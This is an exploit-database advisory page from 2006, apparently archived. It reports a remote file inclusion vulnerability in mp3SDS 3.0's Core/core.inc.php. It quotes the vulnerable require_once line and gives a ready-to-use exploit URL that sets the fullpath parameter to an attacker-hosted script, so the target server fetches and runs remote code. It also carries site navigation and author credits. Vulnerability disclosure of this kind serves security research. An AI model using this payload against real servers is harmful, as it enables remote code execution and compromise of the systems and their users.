mp3SDS 3.0 (Core/core.inc.php) Remote File Include Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : mp3SDS 3.0 (Core/core.inc.php) Remote File Include Vulnerability
# Published : 2006-10-28
# Author : xoron
# Previous Title : freePBX 2.1.3 (upgrade.php) Remote File Include Vulnerability
# Next Title : Electronic Engineering Tool (EE TOOL) <= 0.4.1 File Include Vulnerability

Script: MP3 Streaming DownSampler for PHP v3.0 (fullpath) Remote File Include Exploit
Version: 3.0
Script Download: http://damac.us/Projects/mp3SDS/archive/mp3SDS-3.0.tgz
Code: require_once("$fullpath/Core/FormatName.fnc.php");
Exploit: Core/core.inc.php?fullpath=evilscripts?
Found: Cyber-Security
Thanx: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

# www.Syue.com [2006-10-28]